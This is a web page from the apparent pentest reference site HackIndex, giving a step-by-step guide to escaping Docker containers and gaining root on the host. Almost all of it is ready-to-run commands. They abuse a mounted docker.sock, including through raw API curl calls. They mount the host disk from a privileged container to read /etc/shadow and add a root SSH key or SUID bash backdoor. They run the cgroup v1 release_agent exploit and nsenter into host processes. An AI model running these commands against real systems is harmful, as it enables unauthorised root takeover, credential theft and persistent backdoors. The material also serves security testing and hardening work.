Skip to content
HackIndex logo

HackIndex

Docker Container Escape and Host Privilege Escalation

5 min read Apr 24, 2026

Docker containers share the host kernel. Several misconfigurations allow escaping the container namespace to gain root on the host: the docker socket mounted inside the container, privileged mode, host PID namespace access, and cgroup v1 release_agent abuse. Confirm which scenario applies before choosing a technique.

Prerequisites Check

Determine whether you are inside a container or on the host:

┌──(kali㉿kali)-[~]
└─$ # Strong indicators you are inside a container
┌──(kali㉿kali)-[~]
└─$ cat /.dockerenv 2>/dev/null && echo "Inside Docker container"
┌──(kali㉿kali)-[~]
└─$ cat /proc/1/cgroup | grep -i docker
┌──(kali㉿kali)-[~]
└─$ ls -la /.dockerenv
 
┌──(kali㉿kali)-[~]
└─$ # Check hostname — containers often have random hex hostnames
┌──(kali㉿kali)-[~]
└─$ hostname
┌──(kali㉿kali)-[~]
└─$ cat /etc/hostname

If you are on the host and in the docker group, see https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation for the docker group escalation path. This page covers escaping from inside a container.

Check your container's privilege level:

┌──(kali㉿kali)-[~]
└─$ # Are we privileged?
┌──(kali㉿kali)-[~]
└─$ cat /proc/self/status | grep CapEff
┌──(kali㉿kali)-[~]
└─$ # Full capabilities (0000003fffffffff or similar high value) = privileged container
 
┌──(kali㉿kali)-[~]
└─$ # Simpler check
┌──(kali㉿kali)-[~]
└─$ ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" || echo "NOT privileged"
┌──(kali㉿kali)-[~]
└─$ ip link delete dummy0 2>/dev/null

Technique 1 — Docker Socket Mounted Inside Container

The most common misconfiguration. When /var/run/docker.sock is mounted inside the container, you have full control of the Docker daemon running as root on the host.

Check if the socket is present:

┌──(kali㉿kali)-[~]
└─$ ls -la /var/run/docker.sock
┌──(kali㉿kali)-[~]
└─$ find / -name "docker.sock" 2>/dev/null

If present and readable, mount the host filesystem via a new container:

┌──(kali㉿kali)-[~]
└─$ # Check if docker CLI is available
┌──(kali㉿kali)-[~]
└─$ docker version 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # If docker CLI is present
┌──(kali㉿kali)-[~]
└─$ docker run -v /:/host -it alpine chroot /host /bin/bash

If docker CLI is not in the container but the socket is accessible, use the Docker API directly via curl:

┌──(kali㉿kali)-[~]
└─$ # List images via API
┌──(kali㉿kali)-[~]
└─$ curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool | grep RepoTags
 
┌──(kali㉿kali)-[~]
└─$ # Create a privileged container via API and exec into it
┌──(kali㉿kali)-[~]
└─$ curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' http://localhost/containers/create?name=escape
 
┌──(kali㉿kali)-[~]
└─$ curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start
 
┌──(kali㉿kali)-[~]
└─$ curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["/bin/sh","-c","chroot /host /bin/bash"]}' http://localhost/containers/escape/exec

Technique 2 — Privileged Container Escape

A privileged container has all capabilities and full access to host devices. You can mount the host disk directly.

Confirm privileged mode (from the check above). Then find the host disk:

┌──(kali㉿kali)-[~]
└─$ fdisk -l 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ lsblk
┌──(kali㉿kali)-[~]
└─$ ls /dev/sd* /dev/vd* /dev/xvd* 2>/dev/null

Mount the host root filesystem:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/host
┌──(kali㉿kali)-[~]
└─$ mount /dev/sda1 /tmp/host
 
┌──(kali㉿kali)-[~]
└─$ # Or find the actual root device
┌──(kali㉿kali)-[~]
└─$ cat /proc/mounts | grep " / "
┌──(kali㉿kali)-[~]
└─$ # Use the device shown for /
┌──(kali㉿kali)-[~]
└─$ mount /dev/xvda1 /tmp/host
 
┌──(kali㉿kali)-[~]
└─$ ls /tmp/host/root/
┌──(kali㉿kali)-[~]
└─$ cat /tmp/host/etc/shadow

Write an SSH key for root:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/host/root/.ssh
┌──(kali㉿kali)-[~]
└─$ echo "ssh-rsa YOURPUBLICKEY" >> /tmp/host/root/.ssh/authorized_keys
┌──(kali㉿kali)-[~]
└─$ chmod 700 /tmp/host/root/.ssh
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/host/root/.ssh/authorized_keys

Or plant a SUID bash:

┌──(kali㉿kali)-[~]
└─$ cp /tmp/host/bin/bash /tmp/host/tmp/.rootbash
┌──(kali㉿kali)-[~]
└─$ chmod u+s /tmp/host/tmp/.rootbash
┌──(kali㉿kali)-[~]
└─$ # Then from host: /tmp/.rootbash -p

Technique 3 — cgroup v1 release_agent

In privileged containers on hosts using cgroup v1, you can write to the release_agent file — a script executed by the host kernel as root when a cgroup becomes empty.

Check if cgroup v1 is available and writable:

┌──(kali㉿kali)-[~]
└─$ cat /proc/1/cgroup
┌──(kali㉿kali)-[~]
└─$ # Look for: 0::/
 
┌──(kali㉿kali)-[~]
└─$ # Check if we have a mounted cgroup hierarchy
┌──(kali㉿kali)-[~]
└─$ mount | grep cgroup
┌──(kali㉿kali)-[~]
└─$ ls /sys/fs/cgroup/

Exploit:

┌──(kali㉿kali)-[~]
└─$ # Find a writable cgroup mount
┌──(kali㉿kali)-[~]
└─$ d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
 
┌──(kali㉿kali)-[~]
└─$ # Create payload
┌──(kali㉿kali)-[~]
└─$ mkdir -p $d/x
┌──(kali㉿kali)-[~]
└─$ echo 1 > $d/x/notify_on_release
 
┌──(kali㉿kali)-[~]
└─$ # Get the cgroup path
┌──(kali㉿kali)-[~]
└─$ t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
 
┌──(kali㉿kali)-[~]
└─$ # Write the payload to release_agent
┌──(kali㉿kali)-[~]
└─$ echo "$t/cmd" > $d/release_agent
 
┌──(kali㉿kali)-[~]
└─$ # Create the command that will run on host as root
┌──(kali㉿kali)-[~]
└─$ cat > /cmd << 'EOF'
#!/bin/sh
ps aux > /output
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
┌──(kali㉿kali)-[~]
└─$ chmod +x /cmd
 
┌──(kali㉿kali)-[~]
└─$ # Trigger the release_agent by creating and killing a process in the cgroup
┌──(kali㉿kali)-[~]
└─$ sh -c "echo \$\$ > $d/x/cgroup.procs" && sleep 1
 
┌──(kali㉿kali)-[~]
└─$ # Check output
┌──(kali㉿kali)-[~]
└─$ cat /output

After the release_agent fires, /tmp/.rootbash on the host has the SUID bit set. Exit the container and run it:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p

Technique 4 — --pid=host Namespace Access

If the container was started with --pid=host, it shares the host's PID namespace. You can see and interact with all host processes including root processes.

Check:

┌──(kali㉿kali)-[~]
└─$ ls /proc/ | wc -l
┌──(kali㉿kali)-[~]
└─$ # Very large number = host PID namespace
┌──(kali㉿kali)-[~]
└─$ ps aux | grep root | head -10

Inject into a root process using nsenter:

┌──(kali㉿kali)-[~]
└─$ # Find a root process PID
┌──(kali㉿kali)-[~]
└─$ ps aux | grep root | grep -v "\[" | awk '{print $2}' | head -5
 
┌──(kali㉿kali)-[~]
└─$ # Enter the host namespaces via a root process
┌──(kali㉿kali)-[~]
└─$ nsenter -t $ROOT_PID -m -u -i -n -p -- /bin/bash

Technique 5 — Writable Host Path Mounted into Container

Check all mounts for host paths that are writable:

┌──(kali㉿kali)-[~]
└─$ cat /proc/mounts
┌──(kali㉿kali)-[~]
└─$ mount | grep -v "^overlay\|^proc\|^tmpfs\|^devpts\|^sysfs\|^cgroup\|^mqueue\|^shm"

If a sensitive host path is mounted into the container with write access — /etc, /home, /opt — modify files there that affect host execution. For example, write to /etc/cron.d/ if it is mounted writable.

References